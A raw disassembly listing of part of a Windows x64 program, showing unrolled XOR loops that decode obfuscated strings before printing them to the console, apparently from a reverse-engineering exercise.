xor byte [rax + 0x1a], r8b
xor byte [rax + 0x1b], r8b
xor byte [rax + 0x1c], r8b
xor byte [rax + 0x1d], r8b
xor byte [rax + 0x1e], r8b
xor byte [rax + 0x1f], r8b
mov byte [rax + 0x20], 0
call fcn.140004600
lea rdx, [0x1400047e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14002de10
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, ds:[rsp + 0xa0]
call fcn.1400332c0
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rax + 0x17], r8b
xor byte [rax + 0x18], r8b
xor byte [rax + 0x19], r8b
xor byte [rax + 0x1a], r8b
xor byte [rax + 0x1b], r8b
xor byte [rax + 0x1c], r8b
xor byte [rax + 0x1d], r8b
xor byte [rax + 0x1e], r8b
xor byte [rax + 0x1f], r8b
xor byte [rax + 0x20], r8b
xor byte [rax + 0x21], r8b
xor byte [rax + 0x22], r8b
xor byte [rax + 0x23], r8b
xor byte [rax + 0x24], r8b
xor byte [rax + 0x25], r8b
xor byte [rax + 0x26], r8b
xor byte [rax + 0x27], r8b
xor byte [rax + 0x28], r8b
xor byte [rax + 0x29], r8b
xor byte [rax + 0x2a], r8b
xor byte [rax + 0x2b], r8b
xor byte [rax + 0x2c], r8b
xor byte [rax + 0x2d], r8b
xor byte [rax + 0x2e], r8b
xor byte [rax + 0x2f], r8b
xor byte [rax + 0x30], r8b
xor byte [rax + 0x31], r8b
xor byte [rax + 0x32], r8b
xor byte [rax + 0x33], r8b
xor byte [rax + 0x34], r8b
xor byte [rax + 0x35], r8b
xor byte [rax + 0x36], r8b
xor byte [rax + 0x37], r8b
xor byte [rax + 0x38], r8b
xor byte [rax + 0x39], r8b
xor byte [rax + 0x3a], r8b
xor byte [rax + 0x3b], r8b
xor byte [rax + 0x3c], r8b
xor byte [rax + 0x3d], r8b
xor byte [rax + 0x3e], r8b
xor byte [rax + 0x3f], r8b
xor byte [rax + 0x40], r8b
xor byte [rax + 0x41], r8b
xor byte [rax + 0x42], r8b
xor byte [rax + 0x43], r8b
xor byte [rax + 0x44], r8b
xor byte [rax + 0x45], r8b
xor byte [rax + 0x46], r8b
xor byte [rax + 0x47], r8b
xor byte [rax + 0x48], r8b
xor byte [rax + 0x49], r8b
xor byte [rax + 0x4a], r8b
xor byte [rax + 0x4b], r8b
xor byte [rax + 0x4c], r8b
xor byte [rax + 0x4d], r8b
xor byte [rax + 0x4e], r8b
xor byte [rax + 0x4f], r8b
xor byte [rax + 0x50], r8b
xor byte [rax + 0x51], r8b
mov byte [rax + 0x52], 0
call fcn.140004600
lea rdx, [0x1400047e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14002de10
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, ds:[rsp + 0x320]
call fcn.140033510
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
mov byte [rax + 0xe], 0
call fcn.140004600
lea rdx, [0x1400047e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14002de10
nop
nop
call fcn.140004c80
nop
mov byte [rdx + 0x45], 0
mov rcx, r10
call fcn.140004600
lea rdx, [0x1400047e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14002de10
nop
call fcn.140004c80
nop
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x680]
lea rcx, str.exists
call fcn.1400069c0
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, ds:[rsp + 0xa0]
call fcn.140034780
lea rdx, [rax + 1]
movzx r8d, byte [rax]
xor byte [rdx], r8b
xor byte [rax + 2], r8b
xor byte [rax + 3], r8b
xor byte [rax + 4], r8b
xor byte [rax + 5], r8b
xor byte [rax + 6], r8b
xor byte [rax + 7], r8b
xor byte [rax + 8], r8b
xor byte [rax + 9], r8b
xor byte [rax + 0xa], r8b
xor byte [rax + 0xb], r8b
xor byte [rax + 0xc], r8b
xor byte [rax + 0xd], r8b
xor byte [rax + 0xe], r8b
xor byte [rax + 0xf], r8b
xor byte [rax + 0x10], r8b
xor byte [rax + 0x11], r8b
xor byte [rax + 0x12], r8b
xor byte [rax + 0x13], r8b
xor byte [rax + 0x14], r8b
xor byte [rax + 0x15], r8b
xor byte [rax + 0x16], r8b
xor byte [rax + 0x17], r8b
xor byte [rax + 0x18], r8b
xor byte [rax + 0x19], r8b
xor byte [rax + 0x1a], r8b
xor byte [rax + 0x1b], r8b
xor byte [rax + 0x1c], r8b
xor byte [rax + 0x1d], r8b
xor byte [rax + 0x1e], r8b
xor byte [rax + 0x1f], r8b
xor byte [rax + 0x20], r8b
xor byte [rax + 0x21], r8b
xor byte [rax + 0x22], r8b
xor byte [rax + 0x23], r8b
xor byte [rax + 0x24], r8b
xor byte [rax + 0x25], r8b
xor byte [rax + 0x26], r8b
xor byte [rax + 0x27], r8b
xor byte [rax + 0x28], r8b
xor byte [rax + 0x29], r8b
xor byte [rax + 0x2a], r8b
xor byte [rax + 0x2b], r8b
xor byte [rax + 0x2c], r8b
xor byte [rax + 0x2d], r8b
xor byte [rax + 0x2e], r8b
xor byte [rax + 0x2f], r8b
xor byte [rax + 0x30], r8b
xor byte [rax + 0x31], r8b
xor byte [rax + 0x32], r8b
xor byte [rax + 0x33], r8b
xor byte [rax + 0x34], r8b
xor byte [rax + 0x35], r8b
xor byte [rax + 0x36], r8b
xor byte [rax + 0x37], r8b
xor byte [rax + 0x38], r8b
xor byte [rax + 0x39], r8b
xor byte [rax + 0x3a], r8b
xor byte [rax + 0x3b], r8b
xor byte [rax + 0x3c], r8b
xor byte [rax + 0x3d], r8b
xor byte [rax + 0x3e], r8b
xor byte [rax + 0x3f], r8b
xor byte [rax + 0x40], r8b
xor byte [rax + 0x41], r8b
xor byte [rax + 0x42], r8b
xor byte [rax + 0x43], r8b
xor byte [rax + 0x44], r8b
xor byte [rax + 0x45], r8b
xor byte [rax + 0x46], r8b
xor byte [rax + 0x47], r8b
xor byte [rax + 0x48], r8b
xor byte [rax + 0x49], r8b
xor byte [rax + 0x4a], r8b
mov byte [rax + 0x4b], 0
call fcn.140004600
nop dword [rax]
call fcn.14002de10
nop
lea r8, ds:[rsp + 0xa0]
lea rdx, [rsp + 0x680]
lea rcx, str.exists
call fcn.1400069c0
nop
call fcn.140004c80
int3